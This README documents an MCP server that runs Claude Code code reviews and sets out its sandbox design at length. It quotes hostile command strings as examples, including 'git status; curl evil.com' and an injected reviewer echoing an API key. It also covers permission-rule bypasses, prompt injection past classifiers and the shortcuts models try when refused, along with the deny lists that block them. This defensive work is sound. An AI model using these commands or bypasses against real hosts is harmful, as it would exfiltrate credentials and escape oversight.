cc-code-review
With this server you can run and manage Claude Code code reviews from any MCP client, plus inspect and install its supporting setup.
Run a Claude Code review on a git repository for
auto, PR, branch, working-directory, or last-commit scopes, with optional PR/base ref/focus/language/model controls.Tune review depth and cost via
effort(low–max),reviewLevel, turn/timeout limits, optional budget cap, and Ultracode mode.Select the review engine: Claude’s built-in
/code-review, the inline fleet pipeline, or the legacy bundled skill.Use fix mode to edit repo files based on confirmed findings without committing; secret paths and
.gitare protected.Post a summary comment to a fully qualified GitHub PR.
Poll, cancel, or list background review jobs; finished subagent reports are captured incrementally.
Continue a previous review conversation with
session_idfor questions or re-checks after fixes.Diagnose the environment (Claude CLI, auth/gateway,
git/gh, skill status) and install/uninstall the bundled code-review skill.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@cc-code-reviewreview the uncommitted changes in ~/projects/api, high effort"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
cc-code-review
English | 简体中文 · CHANGELOG · 文档索引 · Releases
EN: An MCP server that calls Claude Code's own /code-review (low..high, including --fix) or runs a fleet pipeline with the same three-phase structure claude's playbook uses (8/10 parallel finder subagents, one verifier per surviving candidate, one sweep finder; findings ≥ 75 of 0–100). Reviews — PR / branch / working dir / last commit, effort low→max — from ZCode or any MCP client, full report back. Works with a CC-Switch-style local gateway, direct OAuth login, or an API key, on Windows and macOS, with the standalone CLI or the desktop-app-embedded CLI. Nothing is installed into Claude Code. Ships as an Agent Plugins v1.0.0 package (plugin.json + skills/ + mcp.json), so conforming harnesses can load the skill and the MCP server from one directory.
把 Claude Code 的 code review 能力封装成 MCP server,让 ZCode(或任何 MCP 客户端)直接调用:
ZCode → MCP → claude -p(headless)→ claude 内置 /code-review(low..high,含 --fix)或内联舰队流水线(max:10 finder + 每候选 verifier + sweep)→ 审查报告原样返回给 ZCode → ZCode 根据报告改代码 → 再次调用复核。
ZCode ──MCP(stdio)──▶ cc-code-review ──spawn──▶ claude -p --output-format stream-json
│ │ cwd = 目标仓库
│ └─ 内置 /code-review(默认)或内联舰队提示词(不写任何文件)
◀── result(报告 + session_id + 花费) ──┘前置条件
Node ≥ 20(CI 矩阵 20/22/24;Node 18 已 EOL,不再声明支持)
已安装 Claude Code。无需 OAuth 登录,三种接入方式均可:
CC Switch / claude-code-router 等网关:配置写在
~/.claude/settings.json的env块,claude 每次启动自行读取(同名键 settings 覆盖进程环境变量),所以切换供应商对下一次 review 立即生效。本 MCP 会对本地回环网关(127.0.0.1 等)做 TCP 预检,网关挂了会立刻报"gateway not reachable"而不是干等到超时;本地网关流量不会走 HTTP 代理(自动补NO_PROXY)。官方账号登录(OAuth/Pro/Max):首次需在终端交互式跑一次
claude完成登录,之后 headless 直接可用。注意:若 MCP 宿主以服务/计划任务方式运行且读不到当前用户凭证(Windows Credential Manager / macOS Keychain),会报 "Not logged in"。ANTHROPIC_API_KEY 环境变量:从宿主环境继承,天然可用。
PR 范围审查需要
gh已登录;本地 diff 审查(working-dir / branch / last-commit)只需 git。
Related MCP server: claude-code-mcp
claude 可执行文件解析(跨平台)
本 MCP 不安装 Claude Code,只调用本机已有的 claude。它按以下优先级解析(claude_review_env 可查看命中来源):
优先级 | 来源 | Windows 路径 | macOS 路径 |
1 |
| 任意可执行文件或 cli.js(不接受 .cmd/.bat/.ps1 shim) | 同左 |
2 | PATH 扫描 |
|
|
3 | 常见安装位置 |
|
|
4 | npm 全局 root(尊重自定义 prefix) |
| 同左 |
5 | Claude 桌面 app 内置 CLI(兜底,非官方入口) |
|
|
说明:
不用
where/which子进程(中文 Windows 上where输出 GBK 会解成乱码),直接用 Node 读 PATH 逐目录探测。只装桌面 app、没装 CLI 也能用:兜底到 app 内嵌的版本化 CLI(取最新版本目录;app 更新后路径可能漂移,建议正式使用装一份 CLI)。
macOS 注意:若宿主从 Dock/Finder 启动,继承的是 launchd 的精简 PATH,本 MCP 会自动把
/opt/homebrew/bin、/usr/local/bin、~/.local/bin等追加进 claude 子进程的 PATH(npm shim 的#!/usr/bin/env node与 claude 内部的 git/gh 都依赖它;追加而非前置,是为了不遮蔽用户自己的 PATH 优先级)。同理,ZCode 的 MCP 配置里command建议写 node 的绝对路径。macOS native 二进制首次 headless 运行若被 Gatekeeper 拦截(SIGKILL),错误信息会提示先在终端跑一次
claude --version。超时/取消会杀整棵进程树(Windows
taskkill /T /F,Unix 进程组 SIGKILL);MCP server 自身退出时也会清理存活子进程。
注册到 MCP 客户端(ZCode / Claude Code / Cursor / 其他)
ZCode(一条命令)
推荐:一条命令自动配置(v1.7.0 起)。克隆本仓库后,在里面跑:
npm install
npm run initinit 会做一轮免费自检(claude CLI 解析与版本、加固 flag 地板、shell guard 实测、skill 状态、git/gh、网关连通性),然后按本机环境把注册写进 ~/.zcode/cli/config.json——node 用的是当前运行的绝对路径、入口文件用本仓库的绝对路径、网关凭据(如果检测到 CC Switch / settings.json / 环境变量配置)自动带上。Windows/macOS/Linux 无需手改任何路径。写完重启 ZCode(或重连 MCP)即可,工具名:mcp__cc-code-review__claude_code_review 等。
⚠️ 升级代码后必须重启 MCP 宿主。 stdio MCP 是常驻进程,模块在启动那一刻就载入了内存;而 shell guard 的 hook 脚本是每次 Bash 调用时从磁盘新起的。所以只更新文件不重启,会得到"旧服务器 + 新 hook"的错配:两者对策略的判断不一致,guard 自检会(正确地)拒绝运行,报
the shell guard is installed but did not behave as expected。这不是 bug,是 fail-closed。claude_review_env会直接告诉你答案:首行cc-code-review server: vX.Y.Z,若磁盘源码比本进程新,会追加⚠ STALE PROCESS并给出重启提示(structuredContent 里是server.stale)。
Claude Code / Cursor / 其他 MCP 客户端(手动)
npm run init 只写 ZCode 的配置;其他客户端用下面这段标准 stdio 配置即可——注意 command 必须是本机 node 的绝对路径,args 必须是本仓库 src/index.js 的绝对路径(宿主的工作目录不可控,相对路径会解析到别处):
{
"mcpServers": {
"cc-code-review": {
"command": "<本机 node 绝对路径>",
"args": ["<本仓库>/src/index.js"]
}
}
}Claude Code:放进项目
.mcp.json(或用户级 MCP 配置),或直接claude mcp add cc-code-review <本机 node 绝对路径> <本仓库>/src/index.js。Cursor:放进
~/.cursor/mcp.json或项目的.cursor/mcp.json。ZCode:不想跑
npm run init时,等价的手写位置是~/.zcode/cli/config.json的mcp.servers.cc-code-review(字段同上)。其他客户端:任何支持 stdio MCP server 的宿主都接受这个形状;如果它同时支持 Agent Plugins,也可以直接把本仓库当插件加载(见下一节)。
工具名(
claude_code_review/claude_review_status/claude_review_followup/claude_review_env)与环境变量前缀(CLAUDE_REVIEW_*)保持稳定,不随 server 名改变——已注册过的调用方与脚本无需跟着改,改的只是 server 键名(工具前缀从mcp__claude-review__*变成mcp__cc-code-review__*)。
作为 Agent Plugin / Agent Skill 使用(任意 harness)
本仓库同时是一个 Agent Plugins v1.0.0 包——仓库根目录就是 plugin root,固定位置放三个可移植文件:
cc-code-review/
├── plugin.json # 插件清单(closed schema:名称/版本/描述/许可证)
├── mcp.json # stdio MCP server 配置(固定位置,不内联在 plugin.json)
├── skills/code-review/SKILL.md # 可移植 Agent Skill(Agent Skills 格式)
└── src/ scripts/ ... # MCP server 实现支持 Agent Plugins 的客户端:把本仓库目录作为 plugin 加载即可——
skills/下的 code-review skill 与mcp.json里的 stdio server 会被自动发现。前提是先在插件目录跑过npm install(server 依赖在 node_modules;缺依赖时只有 MCP server 组件失败、skill 仍可加载——协议要求组件失败非致命)。只支持 Agent Skills 的 harness:把
skills/code-review/整个目录复制进该 harness 的 skills 目录(例如 Claude Code 的~/.claude/skills/code-review/,或项目级 skills 目录)。skill 正文与 harness 无关:有 subagent/并行工具就并行派发 finder,没有就顺序执行全部角度,不会因为缺少 fan-out 而跳过角度;报告格式、评分与过滤规则不变。用 MCP server 时不需要装 skill:fleet 流水线会把同一份 SKILL.md 正文内联进 prompt(见上文「评审流水线」),默认路径不往
~/.claude写任何文件。格式校验:skill 遵循 Agent Skills 规范(frontmatter
name/description、正文 < 500 行),插件清单遵循 Agent Plugins 1.0.0 的 closed schema;npm test的plugin-test套件离线校验plugin.json/mcp.json/SKILL.md三个文件。
为什么单独测这三个文件:manifest 违规会让合规客户端拒绝整个插件,而 SKILL.md 违规只会静默丢弃 skill——两种失败都发生在 Claude Code 路径之外,其他套件看不见。
工具
1. claude_code_review — 跑一轮 review
参数 | 默认 | 范围 | 说明 |
| 必填 | - | 被审查仓库的绝对路径(支持 |
|
| 5 选 1 |
|
| - | - | GitHub PR 编号或 URL |
| - | 纯 ref 字符 |
|
| - | - | 额外关注点(仅作为评审提示,不会被当作指令执行;必须单行) |
|
| - | 报告语言 |
|
| - | 额外用 |
|
| - | 修复模式:报告后直接修改仓库文件修复 findings(只放开 Edit/Write,无任何 git 写命令,不 commit; |
|
| low/medium/high/xhigh/max | 模型推理力度,与 Claude Code 原生 |
| 由 | low/medium/high/max | 评审自身深度(同原生 |
|
| - | Ultracode 模式:通过 |
| - | - | 覆盖模型( |
|
| 4–200 | agentic 轮数上限 |
|
| 1–60 | 硬超时——不设费用上限时它是唯一的总闸;触发时已完成的子代理报告照样返回 |
|
| 0–50 | API 花费上限( |
|
| auto / native / fleet / skill | 评审引擎。auto:level 为 low..high(含 fix——走命令自带 |
|
| - | 仅在 |
返回(默认异步:先返回 jobId(<1 秒)与预检结论,报告用 claude_review_status(jobId) 取回;waitForResult: true 时为下列同步返回):markdown 报告(## Code Review Summary / ## Findings (N) / ## Notes,与随包 SKILL.md 同一份格式合同)+ 每个评审子代理各自的报告(## Reviewer subagent reports,数量随 diff 规模而定)+ 元数据(session_id、花费、轮数、日志路径、模型溯源)。claude 的认证/网关类失败会以醒目的 ⚠️ REVIEW FAILED 横幅返回并附处理建议,不会伪装成"报告"。
2. claude_review_status — 轮询/获取/取消后台 review 任务(免费)
claude_code_review 默认异步:免费预检全部通过后立刻返回 jobId(<1 秒)——因为真实 review 要 2-15 分钟,而多数 MCP 客户端 ~30 秒就掐断工具调用。本工具:传 jobId 轮询(运行中报已耗时)或取回完整报告;传 jobId + cancel=true 中止并停止计费;不传参数列出本进程的任务。需要同步语义的客户端在 claude_code_review 里传 waitForResult: true。
3. claude_review_followup — 追问 / 复核
拿着上一次返回的 session_id 继续对话(claude --resume)。
4. claude_review_env — 环境自检(免费;不是只读工具)
CLI 解析结果与来源、版本、--effort/--max-budget-usd 支持情况、skill 状态、网关连通性(回环网关 TCP 预检)、宿主环境中残留的认证变量告警、git/gh 可用性、CLAUDE_CODE_EFFORT_LEVEL 覆盖告警。首行输出机器可读的 verdict: OK|NOT_FOUND|MISCONFIGURED。installSkill: true 可手动(重)装 skill。
评审流水线:默认用 claude 内置的 /code-review,不写任何文件
Claude Code 2.1.x 自带 code-review 技能(/code-review [level] [target])。本 MCP 默认直接调它,不再往 ~/.claude 装任何东西。
level | 默认走哪条 | 原因(实测 2.1.311) |
low / medium / high | 内置 | 单上下文、按"角度"逐个精读,10 秒级完成,零安装;fix 模式走命令自带的 |
xhigh(映射到 max) | 本 MCP 舰队 | 与 max 同一条舰队流水线(xhigh 只是把 reviewLevel 映射到 max) |
max | 内联舰队流水线 | 内置 max 会派子代理,而子代理爱写 |
| 内联舰队流水线 | 内置命令的 target 是基线 ref( |
内联舰队 = 不装文件:
skills/code-review/SKILL.md的正文直接拼进 prompt(## Pipeline (bundled with this MCP)),模型照它执行;代价是每次 fleet review 多约 12KB 输入。pipeline参数可显式指定:auto(默认)/native/fleet/skill。skill是唯一会写~/.claude的兼容模式,默认关闭。同名 skill 会遮挡内置命令(实测:装了
~/.claude/skills/code-review后,/code-review变成Skill调用)。因此存在同名 skill 时auto自动改走 fleet 并在结果里说明;显式pipeline=native会直接拒绝,而不是悄悄跑成别的东西。之前装过的那份可用claude_review_env { uninstallSkill: true }移除。结果元数据带
pipeline(描述)与pipelineMode(解析结果),subagent_stats显示舰队规模。
安全模型(多轮独立审计后)
进程边界(v1.3.0 新增,实测验证)
--setting-sources user:被审仓库可能自带.claude/settings.json(project/local 作用域),加载它会执行仓库控制的 SessionStart hook(任意代码执行)并覆盖ANTHROPIC_*(凭据外带)。本 MCP 只加载用户级 settings。已用对照实验验证:带恶意 settings.json 的仓库在不加该旗标时 hook 确实执行、API 连接被劫持,加上后两者都消失。--permission-mode manual+--permission-prompts none:allowlist 成为硬边界——不在名单内的调用直接拒绝,不再经过模型驱动的权限分类器(提示注入可以绕过分类器)。--permission-prompts none让"本该弹窗询问"的调用也直接拒绝(headless 下没有宿主能回答弹窗)。代价是名单必须完整,实测中已补齐Skill、TodoWrite、Bash(git remote show:*)等评审管线必需项。
工具权限
评审模式只读:文件读取 + git/gh 只读命令 + subagent + skill 加载。无
gh api(前缀规则无法区分 HTTP method,等于全量 GitHub 写权限)、无 WebFetch(避免代码外带/SSRF)。评审模式另有 deny 纵深:Edit/Write/NotebookEdit、git 写命令(add/commit/push/reset/checkout/config…)、
git diff --output=(前缀规则git diff:*会顺带匹配到的写文件原语)、gh 写命令、以及node -e/python -c/sed -i/cat > f/tee等能用 shell 重定向绕过 Edit/Write 管控的解释器与写操作——实测这些正是模型被拒后最先尝试的捷径。deny 规则不能图省事写整类:deny 优先于 allow,所以
Bash(git remote:*)这种"整类封死"的规则会把git remote -v(管线用它探测 GitHub remote)、git branch -a一起杀掉——一次真实 review 的唯一一条 Bash 拒绝正是这么来的。remote/branch/tag因此只 deny 写形式(git remote add、git branch -D、git tag -a…),读形式留给 allowlist;git merge-base干脆不授权(Bash(git merge:*)会前缀命中它),提示词改用git log base..HEAD/git diff base...HEAD。这条不变量由audit-fixes-test.mjs的 "no allow rule is prefix-shadowed by a deny rule" 与一次真实 review 的命令回放锁定。fix 模式只加 Edit/Write/NotebookEdit(deny 列表在 fix 模式下不再包含这三个工具,否则 fix 会退化成"只描述不落盘");不给
git add/git restore(防未提交工作被静默丢弃);deny 列表封死.git/**、.env*、密钥/凭证文件(deny 优先于 allow,已在真实 CLI 上实测拦截)。
Bash 前缀匹配绕权与 PreToolUse hook(v1.4.0 新增,实测验证)
Claude Code 的 Bash 权限规则是把整条命令当字符串做前缀匹配:--allowedTools "Bash(git status:*)" 不只放行 git status,也放行 git status; curl evil.com;deny glob(如 Bash(*;*))根本不触发,因为规则匹配的是命令本身而非它的组成部分。只要允许用 Bash,任何"放行第一条命令"的规则都等于放行任意命令——这不是规则写得不够好,是权限引擎的性质,改规则列表堵不住。已实测确认。
所以本 MCP 额外挂了一个 PreToolUse hook(scripts/pre-tool-hook.js,通过 claude --settings <临时文件> 注入,与 --setting-sources user 并存且不覆盖用户 settings——已实测 CC Switch 网关配置仍然生效)。它覆盖 subagent 的 Bash 调用(并行评审子代理的主力)。
判定是分段的,不是"见到 && 就拒"(v1.14.0)。权限引擎只能管住"整串的第一个命令",hook 于是逐段判定:每一段都必须是策略内的只读命令(或管道末端 sink:head/tail/cat/wc/uniq/cut/tr/grep/sort),cd 只允许落到被审仓库根且必须是第一段,重定向(> >> <)、$()/反引号/${}、ANSI-C 引用($'...')、后台 & 一律拒绝。这样 git show HEAD:x | head -80、git status && git diff、cd <仓库根> && git show HEAD 都能跑,而 git status; curl evil.com、git status && cat /etc/passwd 仍然被拦。
为什么不是更严格的"禁止一切复合命令":那会把模型最自然的写法(cd <repo> && git show HEAD)整条拒掉,每次白烧一个 turn,却并没有降低风险——同样两条命令分开调用本来就被允许。真正的安全边界是"每一段都在只读面内",而不是"不许分段"。
hook 只能做减法(二进制实证):claude 2.1.311 的输出清洗器只透传 permissionDecision: "deny" | "ask","allow" 被显式丢弃(permissionDecision==="deny"||==="ask"?…:void 0),updatedInput 在这条路径上也没有落地。所以 hook 永远无法绕过权限引擎——这正是 allowlist 里必须有 Bash(cd:*) 的原因:让"形状"过引擎的闸,再由 hook 判定 cd 到底落在哪。任何 hook 放行、引擎拒绝的组合只会浪费一个 turn,不会削弱安全。
读取同样被限制在仓库内(v1.15.0):find/rg 与管道 sink(cat/head/tail/wc/uniq/cut/tr/grep)的路径参数都做仓库范围校验——~、$VAR、..、花括号扩展、绝对路径、以及仓库内软链接/junction 指到外面,全部拒绝(用 realpath 判定,与 Edit/Write 的边界同一套规则)。Git 的 pathspec 不做路径校验(git 自己限制在树内),但逃逸口全部一次性拒绝:git diff --no-index、git blame --contents、--output= 写形态、sed -f、wc/sort --files0-from、uniq 的第二个位置参数(写文件);sed 不在许可的 sink 之列(其脚本语言的"执行/写/读"形态无法被可靠解析,实测 s/.*/命令/e 执行过)。hook 拿不到仓库根时对 Bash 直接 fail-closed。
它同时补上了前缀规则本身堵不住的写/执行形态:find 与 rg 是通过前缀规则放行的只读工具,但 find -delete / -exec / -execdir / -ok / -okdir / -fprint / -fprintf / -fls 会写文件或执行程序,rg --pre / --pre-glob 会对每个文件跑任意程序,sort -o / --compress-program / -T 会写文件或执行程序,git branch <name> 会建分支(flag 守卫拦截写形态)。这些在 hook 里按段直接拒绝(allowlist 里也加了对应 deny 规则,但确定性控制是 hook),普通读取不受影响。
⚠️
--settings替换的是整个hooks键:注入的临时文件里只有本 MCP 的 hook,用户~/.claude/settings.json里自己配置的 hooks 在本次子进程内不会生效(其它键如env、model、permissions不受影响)。这是 CLI 的行为,不是遗漏——如果你依赖自己的 hook 在 review 期间运行,目前需要另想办法。
策略只有一份:src/shell-guard.js 导出 BASH_POLICY,prompt.js 用它渲染 Bash(...) 权限规则,hook 用同一份表逐段判定——所以"hook 放行"与"引擎放行"不可能漂移。契约由 scripts/shell-guard-test.mjs(327 条)、scripts/p0-regression-test.mjs(256 条:2026-10 各轮审计的全部 P0 形态——ANSI-C 引用/反斜杠转义/紧贴短选项、.GIT 大小写变体、fix 模式持久化路径、仓库自带 git driver 的 RCE 形态、符号链接冻结、config.worktree、node_modules attributes、hook 的 fail-closed payload 形状)与 scripts/audit-fixes-test.mjs(318 条)锁定——改策略前先跑 npm test。关掉它:CLAUDE_REVIEW_SHELL_GUARD=0(此时整体会 fail-closed 拒跑,见下文"纵深失效即拒跑")。
重定向(含 2>/dev/null)仍然整体拒绝:它是绕过 allowlist 的读写原语,改成"允许读重定向"需要先证明每个目标路径都无害,代价大于收益。需要看输出就直接让命令写到 stdout。
v1.18.5 补齐的边界(第三轮审计的 7 P0 / 14 P1)
git 选项缩写不再能绕过 deny 表:
git/sort/wc/rg接受无歧义缩写,deny 表现在按"无歧义前缀"匹配,--cont(--contents)、--files0(--files0-from)、--ignore-revs-file/--mailmap-file等一律拒绝;find -- <path>的--也按路径校验。gh pr comment --body-file/-F的文件参数走仓内校验(postToPR也不例外),不再能把宿主机凭据文件 POST 出去。echo的引号按字符判定:只有未加引号的 glob/~会被拒(echo "prefix"*、echo ~"/".ssh/*DENY),合法字面量(echo '*'、echo 'price: $5')仍可用。仓库配置改为从 git 枚举:主工作树的
.git/config.worktree、git ls-files枚举出的全部.gitattributes(含node_modules/内)、越界[include]目标、超过 200 个 include 的仓库,全部拒绝;protocol.ext.allow/protocol.file.allow/url.*.insteadOf/remote.*.vcs被扫描器拒绝,且子进程 git 环境直接中和protocol.ext.allow=never/protocol.file.allow=never(ext::传输在评审进程里不可用)。读边界覆盖 Grep/Glob 与 Bash:hook 的 matcher 改为 catch-all,
Grep/Glob的path与Read同样受仓内约束与密钥黑名单约束;Bash 命令里引用.env/id_rsa/.ssh//credentials/.npmrc/.git-credentials等密钥路径同样被拒(此前只有Read工具受限)。fix 模式的持久化拒绝扩表:
.husky/**、.github/actions/**、.gitlab-ci.yml、Jenkinsfile、Makefile、.pre-commit-config.yaml、.devcontainer/**、.cargo/config(.toml)、.circleci/**、.npmrc与密钥文件均不可写;package.json只在写入内容含scripts/postinstall/preinstall时拒绝(普通依赖改动仍允许)。策略指纹现在覆盖 hook 的两张表(
PROTECTED_WRITE/SECRET_READ移入shell-guard.js并纳入哈希),升级只改了 hook 策略时 stale-policy 自检同样会拒绝。 v1.18.6 收口(结构性与残余)git 加固只有一张表:子进程 env、服务器自己的
-c、扫描器的键表由GIT_HARDENING单一来源生成,启动时断言"服务器/扫描器保护的键必须在子进程 env 里"——杜绝 1.18.5 P0-1 那类"加错表"回归。containment 只有一份实现:
realpathNearest/repoRelative/isInsideRepo(..., {allowRoot})在src/shell-guard.js,hook、guard 与仓库元数据读取共用。递归扫描的读边界:
rg --hidden/--no-ignore/-u/--unrestricted与根级递归grep -r/-R被拒(它们会读到.env等被忽略的密钥);scoped 搜索(rg -n x src)保持可用。fail-closed:仓库的
.git/config不可解析、或git ls-files无法枚举 attributes(如坏 index)时直接拒绝评审,不再只记 note。package.json的 Edit/MultiEdit 同样检查 install 钩子(此前只查 Write)。策略指纹现在覆盖内联规则函数的源码:只改规则、不改表的升级也会触发 stale-policy 拒绝。
lockfile 的 94 个 tarball URL 从
registry.npmmirror.com改为registry.npmjs.org(路径与 integrity 不变)。 v1.18.7 边界(复核 + 最终审计)find的长选项两种拼写都拒:GNU find 历史单横线长选项(-files0-from)与双横线形式(--files0-from、--files0)全部拒绝,含无歧义缩写。find -D/-O:只吞 debugopts(字母/逗号)或 level(数字)值,其它后续 token 都是搜索路径并参与校验(find -D /etc、find -O /etc此前可枚举宿主目录)。自审保护整条 guard/spawn 管线:
src/*.js、scripts/pre-tool-hook.js、scripts/init.mjs、scripts/lib/**、skills/**在 fix 模式下不可写——改src/index.js或src/claude.js与改 hook 一样能让后续所有 run 卸防。hook 对无法判定的 payload fail-closed:非法 JSON、空 stdin、非对象、缺
tool_name一律拒绝(此前 exit 0);解析成功但属于 hook 不负责的工具仍放行(那些由服务端 allowlist 管)。Node ≥ 20:声明的最低运行时、CI 矩阵(20/22/24)与 README 徽章一致,并由 pack-test 断言锁住。
postToPR需要完整 PR 选择器:pr: "123"会被gh按被审仓库自己的 remote 解析,而被审仓库是不可信内容——评论目标因此由仓库控制。owner/repo#N或 PR URL 把目标钉死在调用方指名的仓库;只读评审用裸号仍然允许(scope=pr的既有行为)。自审保护按身份而非路径形状(v1.18.8):
src/*.js、scripts/init.mjs、scripts/lib/**、skills/**只在被审仓库就是本包时禁写(hook 与服务端始终从包安装目录加载,普通仓库里改这些文件对运行中的 guard 没有影响)。普通仓库的 fix mode 可以正常编辑src/*.js;自审时这些文件仍需手工改。
hook 还有第二条确定性规则:git 的 --output= / --output-directory= 会让"只读"命令写文件(git diff/show/log --output=<file>、git format-patch --output-directory= 实测都会落盘;--output-to= 不是真实旗标)。deny glob 对这条无能为力——Bash 规则是整条命令前缀匹配,Bash(git diff --output=*) 拦不住 git diff HEAD --output=x,而中间带 * 的规则语义无法从 CLI 外验证——所以这一条由 hook 直接判掉。注意 grep --output、find -print 等非 git 的 --output 不受影响。
写入面收敛(hook 的另一半职责,v1.5.0)
Edit / Write / NotebookEdit / Read 也被 hook 审查,且以 CLAUDE_REVIEW_REPO_ROOT 为界:目标路径必须解析到被审仓库内,.git/**、.env*、id_rsa*/*.pem/*.key 等密钥路径一律 deny;没有传 repoRoot(hook 配置没生效)时 fail-closed 全部拒绝,而不是放行。边界判定走 realpath(两侧都解析真实路径),所以仓库里的目录 junction/软链接(repo/link -> ~/.ssh 这种"词法在仓库内、实际在外面"的逃逸)也会被拦下(有回归测试锁定);未命中已有目标的写入按"最近的已存在祖先"解析。
仓库即代码执行面(v1.5.0 新增,v1.7.0 起按"存活"判定)
git 会执行仓库自己的配置:core.fsmonitor、diff.<driver>.command、.gitattributes 的 filter/textconv 驱动、core.hooksPath、[include] path = ../x(可指向仓库外)。-c 覆盖只能中和已知键,驱动名是任意的。所以每次运行前会扫描 .git/config(含 include 链)与各级 .gitattributes:发现仓库控制的程序执行就直接拒跑,而不是带病开审。
扫描是精确的,不会误伤普通仓库:.gitattributes 里写了 *.png filter=lfs 但驱动定义在用户全局 config(git-lfs 的常见装法)时不拒;core.fsmonitor = true(布尔,且本来就被 -c 中和)也不拒。v1.7.0 起进一步区分"活的"与"死的"配置:
死路径降级为提示:从另一台机器整目录拷贝/迁移过来的仓库,
.git/config里常带着原机器的绝对路径(如在 Windows 上看到core.hooksPath = /Users/kent/Desktop/...)。路径在本机不存在就执行不了任何东西——降级为报告中的一条 note,不再阻塞 review(有回归测试锁定)。core.hooksPath即使是活的也只提示不拒:git hooks 只在 commit/merge/rebase 这类变更型操作时触发,而评审 allowlist 从不授权任何变更型 git 命令;本 MCP 自己的 git 调用也总是带着-c core.hooksPath=中和它。fsmonitor/textconv/external/filter 驱动则不同——它们在git status/git diff这些只读命令上就会触发,所以活的一律拒,死的提示后放行。
纵深失效即拒跑(fail closed)
hook 没装上、guardSelfTest() 自检失败(hook 真的能拦下一条链式命令、真的放行一条干净命令)或 guard 状态为 failed 时,两个工具都会直接拒绝发起 review,并说明缺了哪一层——因为 manual 模式的 allowlist 单靠自己挡不住前缀匹配绕权。CLAUDE_REVIEW_ALLOW_UNGUARDED=1 只解锁"你显式关掉的 guard"(CLAUDE_REVIEW_SHELL_GUARD=0);安装失败/自检失败永远不可绕过(那种情况下的运行会宣称有 hook 而实际没有任何命令被拦)。确实要完全无防护运行,显式设 CLAUDE_REVIEW_SHELL_GUARD=0。
版本地板(v1.5.0 新增)
--permission-mode manual 需要 CLI ≥ 2.1.200、--permission-prompts none 需要 ≥ 2.1.259。把未知旗标传给旧版 claude 会以一句难懂的报错结束整次运行,所以运行前读一次 claude --version 做门控(版本比较对 2.1.301-beta.1 这类预发布版安全),不达标就不传该旗标并在结果里说明退化情况。claude_review_env 会打印这两个地板与当前 CLI 版本。
输入校验(v1.3.0 新增,全部在发起付费调用前)
输入 | 规则 | 原因 |
| 必须是绝对路径( | 相对路径会按 MCP 服务器自己的 cwd 解析,可能审错仓库还花了钱 |
| 必须是 git/hg/svn 仓库 | 所有 scope 都读 git 历史,非仓库只会得到一次注定失败的付费调用 |
空仓库 | 无提交且无未提交改动 → 直接报错 | 没什么可审 |
| 只接受 | 该值会拼进评审提示词 |
| 单行、≤20 字符、无反引号、无句末标点 | 防止夹带指令;语言名足够短(中文/English/English (US)) |
| 纯 ref 字符,且不接受以 | 会拼进 |
| 单行、≤2000 字符、拒绝控制字符(含 \t\n\r) | 换行/制表符会被拼进提示词结构,因此拒绝 |
取消语义:MCP SDK 对已取消的请求会故意丢弃响应(协议规范如此,客户端本就已知自己取消了)。所以取消后你看不到"已取消"的返回值,但子进程树会在取消后约 2 秒内被 taskkill 杀掉、立刻停止计费;客户端断开 stdio 时同样会杀掉在跑的 review。
可观测性(v1.3.0 新增):结果元数据里带 permission_denials 与 reviewer_subagents_spawned。manual 模式下 allowlist 漏项不会中断运行、只会让评审静默退化(例如 reviewer 子代理根本没起来),这两个字段把这种退化变成可见的。fix 模式还会比对运行前后的 git status,若工作区毫无变化会明确报 FIX MODE VERIFICATION FAILED——评审者"描述"了修复但没落盘时不会被误判成功。
v1.4.0 起元数据另加 bashCalls(本次发起的 Bash 调用数)与 shellGuardBlocked(被 hook 拦下的命令数),并区分两类拒绝:被守卫拦下是 hook 正常工作(提示模型改用策略内的命令即可,不算评审退化),只有其它拒绝才报"评审可能不完整"。若出现 ⚠ BASH COMMAND(S) RAN WITHOUT BEING BLOCKED,说明有命令绕过了 hook 真实执行了,此时才需要把该仓库当敌对环境处理。
v1.10.0 起返回每个评审子代理各自的报告(## Reviewer subagent reports 小节 + structuredContent 的 subagents[])——此前只有父代理的综合报告,子代理内容只存在于日志文件里,这正是"同样提示词在 Claude Code 里能看到多个专家干活、通过 MCP 只有一份综述"的原因。同时新增模型溯源:claude 2.1+ 会把子代理事件(含它实际使用的模型)转发到父流,MCP 据此比对"请求的模型 vs 实际运行的模型",一旦发现被改写(CC Switch 等网关、或 ~/.claude/settings.json env 里的 CLAUDE_CODE_SUBAGENT_MODEL / ANTHROPIC_DEFAULT_*_MODEL_NAME——claude 会在 stderr 打 [claude-code:unrecognized_model]),就在结果里明确报 ⚠ MODEL SUBSTITUTION:这份输出与直接在 Claude Code 里跑同一提示词不可比。运行前也会针对 settings.json env 里的同名改写与"进程环境的 ANTHROPIC_BASE_URL 被 settings 覆盖"提前预警。
运行日志(含被审代码引用)写入
%TEMP%/cc-code-review/,目录 0700、文件 0600,只保留最近 20 份;增量子代理报告subagents-*.jsonl用同一目录、同样 0600,并纳入同一套保留与清扫。CLI 自带一份内置安全命令白名单(
ls、cat、echo等只读工具),即使不在--allowedTools里也会放行。正因如此,echo的收紧必须落在 hook 上:hook 只允许字面文本——$VAR展开与未加引号的通配符/~/仓外路径一律拒绝,加引号的字面量(echo 'price: $5'、echo '*')仍然可用(否则被注入的 reviewer 可用echo $ANTHROPIC_API_KEY把宿主凭据写进报告)。已实测node -e、python -c、rm、git push、git commit、curl、Write 工具调用全部被拒,所以这不是提权口子,但"只放行白名单里的命令"要按"白名单 + 这批内置只读命令"来理解。模型可以把被 hook 拦下的复合命令拆成多次允许的调用分别执行——hook 拦的是"一条命令里串多步",不是"一个回合里做多件事"。真正的能力边界仍然是 manual 模式的 allowlist,hook 保证每一步都可被单独审计。
已知残留风险:仓库内其他文件的 fix 改动、prompt 注入诱导的"看起来合理"的编辑——fix 模式改动留在工作区不 commit,请像审 PR 一样
git diff检查后再采纳。已知残留风险(Windows):日志目录/文件的 0700/0600 是尽力而为——NTFS 不存 POSIX 权限位,同一台机器上的其他本地用户理论上可读
%TEMP%\cc-code-review\run-*.log(内含被审代码引用)。需要更严的隔离请设CLAUDE_REVIEW_LOG_DIR指向受限目录,或接受该风险(多数单用户桌面场景等同无风险)。
环境变量
变量 | 默认 | 说明 |
| 自动探测 | claude 可执行文件 / cli.js(不接受 shell shim) |
|
| 默认超时(分钟);仅改默认值,显式 |
|
| 默认花费上限, |
| - | 默认模型 |
| 关闭 | 设 |
